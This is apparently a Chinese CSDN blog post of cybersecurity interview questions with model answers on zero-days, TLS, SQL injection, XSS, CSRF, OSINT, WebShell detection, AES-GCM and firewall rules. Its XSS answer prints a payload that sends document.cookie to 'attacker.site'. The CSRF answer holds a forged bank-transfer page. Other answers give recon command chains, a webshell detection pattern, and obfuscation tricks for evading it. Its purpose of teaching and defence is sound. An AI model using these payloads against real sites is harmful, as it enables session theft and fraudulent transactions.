网络安全面试题大全（100+道题目解析）-CSDN博客

本文链接：https://blog.csdn.net/Misdirection_XG/article/details/149605172

题目001：什么是零日漏洞（Zero-Day Vulnerability）？举例说明其危害性。

点评：基础概念题考察漏洞认知深度，需明确漏洞生命周期三个关键节点：未公开→无补丁→攻击窗口期。建议结合历史事件说明攻击链条。

核心要点：

定义：厂商未知且无补丁的软件漏洞
危害示例：
缓解方案：启发式检测+虚拟沙箱

扩展：零日漏洞交易已成黑市核心业务，参考Vulnerability Equities Process政府漏洞保留政策争议。防御需建立威胁情报联动机制。

题目002：HTTPS握手过程中如何验证证书有效性？

点评：TLS/SSL基础题，需展示证书链验证全流程。区分OCSP与CRL两种吊销检查机制是关键加分项。

验证流程：

# 证书验证伪代码
def verify_cert(cert):
    if not cert_chain_validation(cert.root_CA):  # 证书链信任验证
        raise CertificateError("Untrusted CA")
    
    if check_crl(cert.serial) or ocsp_check(cert):  # 吊销状态检查
        raise CertificateError("Revoked certificate")
    
    if cert.hostname != current_domain:  # 域名匹配检查
        raise CertificateError("Hostname mismatch")

补充：证书透明化（Certificate Transparency）可对抗恶意CA签发，浏览器要求CT日志记录所有证书。

题目003：简述SQL注入原理及给出至少三种防御方案。

点评：OWASP TOP 10必考题，需区分防御层级（代码/架构/运维）。避免仅答参数化查询的片面回答。

防御体系：

层级	措施	技术示例
代码层	输入过滤	白名单正则`[a-zA-Z0-9_]+`
架构层	查询分离	ORM框架/SQL模板引擎
运行时	行为监控	WAF的SQLi特征检测
数据层	权限最小化	数据库只读账号

延伸：二阶SQL注入更危险，即首次存储时无害但后续拼接触发漏洞。建议使用存储过程隔离动态SQL。

题目004：XSS攻击如何窃取用户Cookie？给出DOM型案例。

点评：考察Web安全核心漏洞原理，需区分反射型/存储型/DOM型三类XSS的攻击链差异。

攻击实现流程：

// 恶意脚本示例（DOM型）
http://victim.site/search?term=<script>
let img=new Image();
img.src=`http://attacker.site/steal?cookie=${encodeURIComponent(document.cookie)}`;
</script>

// 攻击者服务器记录
GET /steal?cookie=sessionid=ABCDEF123456

注入路径：未过滤的URL参数直接写入DOM
窃取机制：Image对象跨域请求携带Cookie
防御缺口：HttpOnly Cookie可阻止读取但无法完全防御DOM操作

扩展：现代攻击更多使用<script src="//attacker.site/xss.js">外链脚本绕过长度限制。防御需三重加固：

输入过滤：过滤< > " ' &等特殊字符
输出编码：根据输出位置选用HTML/URL/JS编码
CSP策略：Content-Security-Policy: default-src 'self'

题目005：CSRF Token校验机制在什么场景下会失效？

点评：鉴别CSRF防御机制盲点，涉及跨域策略与实现漏洞组合利用。

失效场景及原理：

场景	失效原因	案例
子域漏洞	同源策略宽松	`*.company.com` 范围Token可跨子域共用
JSON API	未防范JSON劫持	`<script src="https://api.site/userdata"></script>`
缓存污染	浏览器缓存Token	登录态过期但缓存Token仍有效
CORS误配	`Access-Control-Allow-Origin: *`	攻击域直接获取Token

实验复现：

<!-- 攻击页面利用跨域请求 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker_account">
  <script>
    fetch('https://bank.com/get_token')
      .then(r => r.text())
      .then(token => {
        document.forms[0].innerHTML += 
          `<input type=hidden name=csrf_token value=${token}>`;
        document.forms[0].submit();
      });
  </script>
</form>

加固方案：

SameSite Cookie设置为Strict或Lax
敏感操作添加二次验证（短信/生物识别）
校验Origin头：if request.headers['Origin'] not in ALLOW_ORIGINS

题目006：TLS1.3相比1.2的主要安全改进是什么？

点评：需展示协议层安全增强的底层设计思想，重点对比性能与安全的平衡。

核心改进矩阵：

特性	TLS1.2	TLS1.3	安全增益
握手协议	2-RTT	1-RTT/0-RTT	减少中间人攻击窗口
密码套件	支持弱算法	仅AEAD加密套件	消除CBC填充攻击风险
密钥协商	静态RSA支持	完全前向安全(FS)	长期密钥泄露不影响历史数据
重协商	允许	禁止	防止降级攻击

协议简析：

在这里插入图片描述

含supported_versions扩展仅FS算法列表总往返1次ClientHelloServerHello密钥交换+Finished加密通信

风险提示：0-RTT虽提速但存在重放攻击风险，需通过：

时间戳限制：timestamp within 5s
单次令牌：服务端记录一次性Nonce
高风险操作禁用0-RTT

题目007：描述渗透测试中OSINT信息收集的5种方法。

点评：考察攻击面测绘能力，需体现自动化工具与人工情报的结合。

高效信息收集矩阵：

方法	工具示例	目标信息
域名爆破	Sublist3r	发现隐藏子域(sub.target.com)
SSL证书解析	crt.sh	关联多域名证书
历史页面快照	WaybackMachine	被删除的敏感路径
GitHub代码扫描	truffleHog	硬编码API密钥/凭证
ASN归属查询	whois.radb.net	IP段映射到子公司

自动化流程示例：

# 信息收集链
sublist3r -d target.com | tee subdomains.txt
httprobe < subdomains.txt | gau | grep '\.php$' 
waybackurls target.com | gf sqli > potential_injections.txt

情报进阶：LinkedIn员工信息收集 → 制作鱼叉式钓鱼字典。防御建议：

公开文档去元数据
GitHub敏感扫描自动化
域名注册开启隐私保护

题目008：WAF如何识别WebShell行为特征？

点评：需拆解基于规则/行为/语义的三层检测机制。

检测特征维度：

# WebShell典型特征识别模型
def is_webshell(file_content):
    # 规则层：敏感函数黑名单
    if re.search(r'(system|exec|shell_exec)\(', file_content):
        return True
        
    # 行为层：异常参数传递
    if '$_GET["cmd"]' in file_content and 'eval(' in file_content:
        return True
        
    # 语义层：文件结构异常
    if not has_normal_html(file_content) and '<?php' in file_content:
        return True
    
    return False

绕过与反绕过：

攻击手法	对抗措施
分段混淆	`$a="sy";$b="stem";$c=$a.$b;`
图片马	EXIF注入恶意代码
反射Shell	加密流量回调

现代方案：RASP注入检测引擎，基于JavaAgent/PHP扩展实现运行时监控：

Hook文件系统函数记录异常文件操作
关联命令执行与HTTP请求触发点
机器学习识别异常函数调用链

题目009：AES-GCM加密模式如何保证完整性和机密性？

点评：需揭示认证加密(AEAD)机制的数学原理。

加密流程与安全机制：

在这里插入图片描述

明文PAES-CTR加密密文C附加数据AGHASH计算认证标签输出C+标签T

安全保证数学基础：

机密性：CTR模式流加密，满足CPA安全性
C_i = P_i ⊕ AES(Key, Nonce||i)
完整性：GHASH多项式哈希算法
T = GHASH(H, A, C) ⊕ AES(Key, Nonce||0)
H为AES对全零块的加密结果

参数警示：

Nonce重用导致流密钥重复 → 加密等价于明文异或
12字节Nonce是黄金标准
标签长度建议128位防御生日攻击

题目010：企业级防火墙策略的「默认拒绝」原则如何实施？

点评：需展示四层过滤逻辑与网络分区实践。

企业级实施方案：

# 防火墙规则优先级框架 (iptables示例)
*filter
:INPUT DROP    # 默认拒绝入站
:FORWARD DROP  # 默认拒绝转发
:OUTPUT ACCEPT # 出站宽松政策

# 白名单放行规则
-A INPUT -p tcp --dport 443 -j ACCEPT   # HTTPS
-A INPUT -s 10.0.1.0/24 -j ACCEPT       # 内网管理段

# 状态检测建立会话追踪
-A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

网络分区模型：

在这里插入图片描述